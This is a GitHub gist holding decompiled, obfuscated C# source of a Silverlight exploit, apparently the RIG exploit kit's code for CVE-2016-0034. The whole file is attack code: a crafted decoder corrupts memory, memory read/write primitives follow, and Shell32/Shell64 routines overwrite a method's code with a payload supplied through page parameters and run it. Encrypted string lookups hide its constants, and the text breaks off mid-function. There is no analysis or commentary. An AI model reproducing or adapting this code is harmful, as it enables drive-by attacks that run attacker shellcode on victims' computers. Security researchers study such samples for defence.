Created
May 11, 2017 15:11
-
-
Save nrafter/9d74feb957426ac8c6d649ec5fe7f386 to your computer and use it in GitHub Desktop.
rig ek 2016-0034 decompiled exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Diagnostics; | |
using System.Runtime.CompilerServices; | |
using System.Windows; | |
using eilquO2RA2sF4k0Luh; | |
namespace binaryreader | |
{ | |
// Token: 0x02000003 RID: 3 | |
public class App : Application | |
{ | |
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000450 | |
[MethodImpl(8)] | |
public App() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
base..ctor(); | |
base.add_Startup(new StartupEventHandler(this.Application_Startup)); | |
} | |
// Token: 0x06000002 RID: 2 RVA: 0x00002078 File Offset: 0x00000478 | |
[MethodImpl(8)] | |
private void Application_Startup(object sender, StartupEventArgs e) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
new Exploit().run(e.get_InitParams()); | |
} | |
// Token: 0x06000003 RID: 3 RVA: 0x00002098 File Offset: 0x00000498 | |
[DebuggerNonUserCode] | |
[MethodImpl(8)] | |
public void InitializeComponent() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
if (this._contentLoaded) | |
{ | |
return; | |
} | |
this._contentLoaded = true; | |
Application.LoadComponent(this, new Uri(exusuKvsSOxhZLQsnV.eeM2xusuK(0), 2)); | |
} | |
// Token: 0x04000001 RID: 1 | |
private bool _contentLoaded; | |
} | |
} | |
using System; | |
using System.Collections.Generic; | |
using System.IO; | |
using System.Resources; | |
using System.Runtime.CompilerServices; | |
using System.Text; | |
using System.Windows.Browser; | |
using System.Windows.Controls; | |
using e6ZQKais6sdWQYZGvG; | |
using eilquO2RA2sF4k0Luh; | |
namespace binaryreader | |
{ | |
// Token: 0x02000004 RID: 4 | |
public class Exploit | |
{ | |
// Token: 0x06000004 RID: 4 RVA: 0x000020D4 File Offset: 0x000004D4 | |
[MethodImpl(8)] | |
public void run(IDictionary<string, string> initParams) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
Exploit.is64 = (IntPtr.get_Size() == 8); | |
if (!this.make_big_array()) | |
{ | |
return; | |
} | |
if (!this.get_array_address()) | |
{ | |
return; | |
} | |
if (Exploit.is64) | |
{ | |
Exploit.payload64 = Exploit.hex2bin(initParams.get_Item(exusuKvsSOxhZLQsnV.eeM2xusuK(68))); | |
new Exploit.Shell64().execute(Exploit.payload64); | |
return; | |
} | |
Exploit.payload32 = Exploit.hex2bin(initParams.get_Item(exusuKvsSOxhZLQsnV.eeM2xusuK(86))); | |
new Exploit.Shell32().execute(Exploit.payload32); | |
} | |
// Token: 0x06000005 RID: 5 RVA: 0x00002174 File Offset: 0x00000574 | |
[MethodImpl(8)] | |
private bool make_big_array() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
MemoryStream arg_1B_0 = new MemoryStream(32); | |
Exploit.CustomEncoding customEncoding = new Exploit.CustomEncoding(); | |
BinaryReader binaryReader = new BinaryReader(arg_1B_0, customEncoding); | |
Exploit.array = new uint[Exploit.array_original_length]; | |
char[] array = new char[6]; | |
Exploit.obj = new object[Exploit.obj_count]; | |
arg_1B_0.SetLength(32L); | |
binaryReader.Read(array, 0, array.Length); | |
return Exploit.array.Length >= 1073741824; | |
} | |
// Token: 0x06000006 RID: 6 RVA: 0x000021F4 File Offset: 0x000005F4 | |
[MethodImpl(8)] | |
private bool get_array_address() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
Exploit.obj[0] = Exploit.array; | |
for (int i = 5; i < 64; i++) | |
{ | |
if (Exploit.array[i] == Exploit.obj_count) | |
{ | |
if (Exploit.is64) | |
{ | |
int num = i + 4; | |
Exploit.array_address = ((ulong)Exploit.array[num + 1] << 32) + (ulong)Exploit.array[num]; | |
} | |
else | |
{ | |
int num2 = i + 2; | |
Exploit.array_address = (ulong)Exploit.array[num2]; | |
} | |
return true; | |
} | |
} | |
return false; | |
} | |
// Token: 0x06000007 RID: 7 RVA: 0x00002284 File Offset: 0x00000684 | |
[MethodImpl(8)] | |
public static byte[] hex2bin(string hex) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
int length = hex.get_Length(); | |
byte[] array = new byte[length / 2]; | |
for (int i = 0; i < length; i += 2) | |
{ | |
array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16); | |
} | |
return array; | |
} | |
// Token: 0x06000008 RID: 8 RVA: 0x000022D8 File Offset: 0x000006D8 | |
[MethodImpl(8)] | |
private static void report(string msg) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
try | |
{ | |
HtmlPage.get_Window().Eval(exusuKvsSOxhZLQsnV.eeM2xusuK(104) + msg + exusuKvsSOxhZLQsnV.eeM2xusuK(122)); | |
} | |
catch (Exception) | |
{ | |
} | |
} | |
// Token: 0x06000009 RID: 9 RVA: 0x00002334 File Offset: 0x00000734 | |
[MethodImpl(8)] | |
public Exploit() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE(); | |
base..ctor(); | |
} | |
// Token: 0x0600000A RID: 10 RVA: 0x00002350 File Offset: 0x00000750 | |
[MethodImpl(8)] | |
static Exploit() | |
{ | |
// Note: this type is marked as 'beforefieldinit'. | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE(); | |
Exploit.array_original_length = 5u; | |
Exploit.obj_count = 170u; | |
} | |
// Token: 0x04000002 RID: 2 | |
public static byte[] payload32; | |
// Token: 0x04000003 RID: 3 | |
public static byte[] payload64; | |
// Token: 0x04000004 RID: 4 | |
public static bool is64; | |
// Token: 0x04000005 RID: 5 | |
public static uint[] array; | |
// Token: 0x04000006 RID: 6 | |
public static ulong array_address; | |
// Token: 0x04000007 RID: 7 | |
public static uint array_original_length; | |
// Token: 0x04000008 RID: 8 | |
public static object[] obj; | |
// Token: 0x04000009 RID: 9 | |
public static uint obj_count; | |
// Token: 0x02000005 RID: 5 | |
private class Shell32 : Random | |
{ | |
// Token: 0x0600000B RID: 11 RVA: 0x00002378 File Offset: 0x00000778 | |
[MethodImpl(8)] | |
private uint read_uint(uint addr) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
if (addr > 65536u) | |
{ | |
return Exploit.array[(int)(addr - (uint)(Exploit.array_address + 8uL) >> 2)]; | |
} | |
return 0u; | |
} | |
// Token: 0x0600000C RID: 12 RVA: 0x000023A8 File Offset: 0x000007A8 | |
[MethodImpl(8)] | |
private void write_uint(uint addr, uint val) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
if (addr > 65536u) | |
{ | |
Exploit.array[(int)(addr - (uint)(Exploit.array_address + 8uL) >> 2)] = val; | |
} | |
} | |
// Token: 0x0600000D RID: 13 RVA: 0x000023D8 File Offset: 0x000007D8 | |
[MethodImpl(8)] | |
private void swap_arrays(uint addr, byte[] arr) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
int num = arr.Length; | |
uint num2 = 0u; | |
while ((ulong)num2 < (ulong)((long)num)) | |
{ | |
uint num3 = (uint)arr[(int)num2]; | |
num3 += (uint)((uint)arr[(int)(num2 + 1u)] << 8); | |
num3 += (uint)((uint)arr[(int)(num2 + 2u)] << 16); | |
num3 += (uint)((uint)arr[(int)(num2 + 3u)] << 24); | |
uint num4 = this.read_uint(addr + num2); | |
this.write_uint(addr + num2, num3); | |
arr[(int)num2] = (byte)(num4 & 255u); | |
arr[(int)(num2 + 1u)] = (byte)(num4 >> 8 & 255u); | |
arr[(int)(num2 + 2u)] = (byte)(num4 >> 16 & 255u); | |
arr[(int)(num2 + 3u)] = (byte)(num4 >> 24 & 255u); | |
num2 += 4u; | |
} | |
} | |
// Token: 0x0600000E RID: 14 RVA: 0x00002484 File Offset: 0x00000884 | |
[MethodImpl(8)] | |
public virtual int dummy_function() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
if (this == null) | |
{ | |
this.write_uint(0u, 0u); | |
} | |
return 0; | |
} | |
// Token: 0x0600000F RID: 15 RVA: 0x00002B08 File Offset: 0x00000F08 | |
[MethodImpl(8)] | |
public virtual void execute(byte[] payload) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
try | |
{ | |
this.dummy_function(); | |
Exploit.obj[0] = Exploit.array; | |
Exploit.obj[1] = this; | |
uint num = 0u; | |
for (int i = 2; i < 64; i++) | |
{ | |
if (Exploit.array[i] == (uint)Exploit.array_address) | |
{ | |
num = Exploit.array[i + 1]; | |
break; | |
} | |
} | |
if (num == 0u) | |
{ | |
throw new Exception(); | |
} | |
uint num2 = this.read_uint(this.read_uint(this.read_uint(num) + 44u) + 8u); | |
if (num2 == 0u) | |
{ | |
throw new Exception(); | |
} | |
num2 -= num2 % 4u; | |
this.swap_arrays(num2, payload); | |
this.dummy_function(); | |
this.swap_arrays(num2, payload); | |
} | |
catch (Exception) | |
{ | |
} | |
Exploit.array[1073741823] = Exploit.array_original_length; | |
} | |
// Token: 0x06000010 RID: 16 RVA: 0x00002BF0 File Offset: 0x00000FF0 | |
[MethodImpl(8)] | |
public Shell32() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE(); | |
base..ctor(); | |
} | |
} | |
// Token: 0x02000006 RID: 6 | |
private class Shell64 : Exploit.Shell32 | |
{ | |
// Token: 0x06000011 RID: 17 RVA: 0x00002C0C File Offset: 0x0000100C | |
[MethodImpl(8)] | |
private ulong read_ulong32(ulong addr) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
if (addr < 65536uL) | |
{ | |
return 0uL; | |
} | |
addr = addr - Exploit.array_address - 8uL >> 2; | |
return ((ulong)Exploit.array[(int)(checked((IntPtr)(unchecked(addr + 1uL))))] << 32) + (ulong)Exploit.array[(int)(checked((IntPtr)addr))]; | |
} | |
// Token: 0x06000012 RID: 18 RVA: 0x00002C60 File Offset: 0x00001060 | |
[MethodImpl(8)] | |
private void write_ulong32(ulong addr, ulong val) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
if (addr < 65536uL) | |
{ | |
return; | |
} | |
addr = addr - Exploit.array_address - 8uL >> 2; | |
Exploit.array[(int)(checked((IntPtr)addr))] = (uint)val; | |
Exploit.array[(int)(checked((IntPtr)(unchecked(addr + 1uL))))] = (uint)(val >> 32); | |
} | |
// Token: 0x06000013 RID: 19 RVA: 0x00002CB0 File Offset: 0x000010B0 | |
[MethodImpl(8)] | |
private ulong read_ulong64(ulong addr) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
if (addr < 65536uL) | |
{ | |
return 0uL; | |
} | |
this.write_ulong32(this.ums_addr + 8uL, addr); | |
this.ums.set_Position(0L); | |
this.ums.Read(this.ums_buffer, 0, 8); | |
return this.read_address(this.ums_buffer, 0); | |
} | |
// Token: 0x06000014 RID: 20 RVA: 0x00002D18 File Offset: 0x00001118 | |
[MethodImpl(8)] | |
private void write_ulong64(ulong addr, ulong val) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
if (addr < 65536uL) | |
{ | |
return; | |
} | |
this.write_ulong32(this.ums_addr + 8uL, addr); | |
this.ums.set_Position(0L); | |
this.write_address(this.ums_buffer, 0, val); | |
this.ums.Write(this.ums_buffer, 0, 8); | |
} | |
// Token: 0x06000015 RID: 21 RVA: 0x00002D80 File Offset: 0x00001180 | |
[MethodImpl(8)] | |
private void swap_arrays(ulong addr, byte[] arr) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
int num = arr.Length; | |
byte[] array = (byte[])arr.Clone(); | |
this.write_ulong32(this.ums_addr + 8uL, addr); | |
this.ums.set_Position(0L); | |
this.ums.Read(arr, 0, num); | |
this.ums.set_Position(0L); | |
this.ums.Write(array, 0, num); | |
} | |
// Token: 0x06000016 RID: 22 RVA: 0x00002DF4 File Offset: 0x000011F4 | |
[MethodImpl(8)] | |
public override void execute(byte[] payload) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
try | |
{ | |
this.dummy_function(); | |
ResourceManager resourceManager = new ResourceManager(exusuKvsSOxhZLQsnV.eeM2xusuK(132), typeof(Control).get_Assembly()); | |
this.ums = resourceManager.GetStream(exusuKvsSOxhZLQsnV.eeM2xusuK(168)); | |
if (this.ums == null) | |
{ | |
throw new Exception(); | |
} | |
Exploit.obj[0] = Exploit.array; | |
Exploit.obj[1] = this; | |
Exploit.obj[2] = this.ums; | |
ulong num = 0uL; | |
for (int i = 3; i < 64; i++) | |
{ | |
if (Exploit.array[i] == (uint)Exploit.array_address) | |
{ | |
num = ((ulong)Exploit.array[i + 3] << 32) + (ulong)Exploit.array[i + 2]; | |
this.ums_addr = ((ulong)Exploit.array[i + 5] << 32) + (ulong)Exploit.array[i + 4]; | |
for (int j = 0; j < 100; j++) | |
{ | |
if (Exploit.array_address <= this.ums_addr) | |
{ | |
break; | |
} | |
this.ums = resourceManager.GetStream(exusuKvsSOxhZLQsnV.eeM2xusuK(168)); | |
Exploit.obj[2] = this.ums; | |
this.ums_addr = ((ulong)Exploit.array[i + 5] << 32) + (ulong)Exploit.array[i + 4]; | |
} | |
break; | |
} | |
} | |
if (num == 0uL) | |
{ | |
throw new Exception(); | |
} | |
if (Exploit.array_address > this.ums_addr) | |
{ | |
throw new Exception(); | |
} | |
this.write_ulong32(this.ums_addr + 48uL, 12884901891uL); | |
if (!this.ums.get_CanRead() || !this.ums.get_CanWrite()) | |
{ | |
throw new Exception(); | |
} | |
ulong num2 = this.read_ulong64(this.read_ulong64(this.read_ulong64(num) + 72uL) + 16uL); | |
if (num2 == 0uL) | |
{ | |
throw new Exception(); | |
} | |
this.swap_arrays(num2, payload); | |
this.dummy_function(); | |
this.swap_arrays(num2, payload); | |
} | |
catch (Exception) | |
{ | |
} | |
this.write_ulong64(Exploit.array_address + 8uL, (ulong)Exploit.array_original_length); | |
} | |
// Token: 0x06000017 RID: 23 RVA: 0x00003024 File Offset: 0x00001424 | |
[MethodImpl(8)] | |
private ulong read_address(byte[] b, int offs) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
ulong num = 0uL; | |
int i = offs; | |
int num2 = 0; | |
while (i < offs + (Exploit.is64 ? 8 : 4)) | |
{ | |
num += (ulong)b[i] << num2; | |
i++; | |
num2 += 8; | |
} | |
return num; | |
} | |
// Token: 0x06000018 RID: 24 RVA: 0x0000307C File Offset: 0x0000147C | |
[MethodImpl(8)] | |
private void write_address(byte[] b, int offs, ulong u) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
int i = offs; | |
while (i < offs + (Exploit.is64 ? 8 : 4)) | |
{ | |
b[i] = (byte)(u & 255uL); | |
i++; | |
u >>= 8; | |
} | |
} | |
// Token: 0x06000019 RID: 25 RVA: 0x000030CC File Offset: 0x000014CC | |
[MethodImpl(8)] | |
public Shell64() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE(); | |
this.ums_buffer = new byte[8]; | |
base..ctor(); | |
} | |
// Token: 0x0400000A RID: 10 | |
private UnmanagedMemoryStream ums; | |
// Token: 0x0400000B RID: 11 | |
private ulong ums_addr; | |
// Token: 0x0400000C RID: 12 | |
private byte[] ums_buffer; | |
} | |
// Token: 0x02000007 RID: 7 | |
private class CustomEncoding : UTF8Encoding | |
{ | |
// Token: 0x0600001A RID: 26 RVA: 0x000030F4 File Offset: 0x000014F4 | |
[MethodImpl(8)] | |
public override Decoder GetDecoder() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
return new Exploit.CustomDecoder(); | |
} | |
// Token: 0x0600001B RID: 27 RVA: 0x0000310C File Offset: 0x0000150C | |
[MethodImpl(8)] | |
public CustomEncoding() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE(); | |
base..ctor(); | |
} | |
} | |
// Token: 0x02000008 RID: 8 | |
private class CustomDecoder : Decoder | |
{ | |
// Token: 0x0600001C RID: 28 RVA: 0x00003128 File Offset: 0x00001528 | |
[MethodImpl(8)] | |
public override int GetChars(byte[] bytes, int byteIndex, int byteCount, char[] chars, int charIndex) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
int num = this.count; | |
this.count = num + 1; | |
int result; | |
if (num != 0) | |
{ | |
if (num != 1) | |
{ | |
result = byteCount; | |
} | |
else | |
{ | |
chars[0] = '\0'; | |
chars[1] = '䀀'; | |
result = 2; | |
} | |
} | |
else | |
{ | |
result = (Exploit.is64 ? -28 : -18); | |
} | |
return result; | |
} | |
// Token: 0x0600001D RID: 29 RVA: 0x00003198 File Offset: 0x00001598 | |
[MethodImpl(8)] | |
public override int GetCharCount(byte[] bytes, int index, int count) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
return count; | |
} | |
// Token: 0x0600001E RID: 30 RVA: 0x000031AC File Offset: 0x000015AC | |
[MethodImpl(8)] | |
public CustomDecoder() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
e562RNDDL8HsDsTqNZ.nbg7uKGSxgMnE(); | |
base..ctor(); | |
} | |
// Token: 0x0400000D RID: 13 | |
private int count; | |
} | |
} | |
} | |
using System; | |
using System.Runtime.CompilerServices; | |
namespace e6ZQKais6sdWQYZGvG | |
{ | |
// Token: 0x0200000F RID: 15 | |
internal class e562RNDDL8HsDsTqNZ | |
{ | |
// Token: 0x06000041 RID: 65 RVA: 0x0000657C File Offset: 0x0000497C | |
[MethodImpl(8)] | |
internal static void nbg7uKGSxgMnE() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
} | |
// Token: 0x06000042 RID: 66 RVA: 0x0000658C File Offset: 0x0000498C | |
[MethodImpl(8)] | |
public e562RNDDL8HsDsTqNZ() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
base..ctor(); | |
} | |
// Token: 0x0400001A RID: 26 | |
private static bool eVmJgX3c7; | |
} | |
} | |
using System; | |
using System.IO; | |
using System.Runtime.CompilerServices; | |
using System.Security.Cryptography; | |
using System.Text; | |
using e6ZQKais6sdWQYZGvG; | |
namespace eilquO2RA2sF4k0Luh | |
{ | |
// Token: 0x0200000C RID: 12 | |
internal class exusuKvsSOxhZLQsnV | |
{ | |
// Token: 0x06000029 RID: 41 RVA: 0x000032E4 File Offset: 0x000016E4 | |
[MethodImpl(8)] | |
static exusuKvsSOxhZLQsnV() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
exusuKvsSOxhZLQsnV.eAm9qmvKj = new byte[0]; | |
exusuKvsSOxhZLQsnV.eEV7t39YD = new byte[0]; | |
exusuKvsSOxhZLQsnV.eTKTfNqfR = new byte[0]; | |
exusuKvsSOxhZLQsnV.e870FHr3g = new byte[0]; | |
exusuKvsSOxhZLQsnV.eTB3iFeo2 = IntPtr.Zero; | |
exusuKvsSOxhZLQsnV.e8ts5Z8vY = IntPtr.Zero; | |
exusuKvsSOxhZLQsnV.eC2YQ4qZN = new string[0]; | |
exusuKvsSOxhZLQsnV.e2EkluGcy = new int[0]; | |
} | |
// Token: 0x0600002A RID: 42 RVA: 0x00003358 File Offset: 0x00001758 | |
[MethodImpl(8)] | |
private void SJS7uKGGY1wAs() | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
} | |
// Token: 0x0600002B RID: 43 RVA: 0x00003368 File Offset: 0x00001768 | |
[MethodImpl(8)] | |
internal static object erevLb2wL(object obj) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
object result; | |
try | |
{ | |
result = typeof(exusuKvsSOxhZLQsnV).get_Assembly().get_Location(); | |
} | |
catch | |
{ | |
result = ""; | |
} | |
return result; | |
} | |
// Token: 0x0600002C RID: 44 RVA: 0x000033BC File Offset: 0x000017BC | |
[exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW(typeof(exusuKvsSOxhZLQsnV.eDyeSaa8AI7TPBXMAW.e21XAEFlv7rvdMRCHo<object>[]))] | |
[MethodImpl(8)] | |
static string eeM2xusuK(int num) | |
{ | |
while (false) | |
{ | |
object arg_0A_0 = null[0]; | |
} | |
int arg_2278_0 = 91; | |
int num7; | |
while (true) | |
{ | |
int num2 = arg_2278_0; | |
byte[] array; | |
int num3; | |
int num4; | |
int num5; | |
byte[] array2; | |
int num6; | |
byte[] array3; | |
CryptoStream cryptoStream; | |
ICryptoTransform cryptoTransform; | |
while (true) | |
{ | |
IL_227C: | |
int arg_2280_0 = num2; | |
BinaryReader binaryReader; | |
byte[] array4; | |
MemoryStream memoryStream; | |
while (true) | |
{ | |
switch (arg_2280_0) | |
{ | |
case 0: | |
case 91: | |
goto IL_1F9E; | |
case 1: | |
goto IL_194B; | |
case 2: | |
goto IL_1D69; | |
case 3: | |
goto IL_11A0; | |
case 4: | |
goto IL_190C; | |
case 5: | |
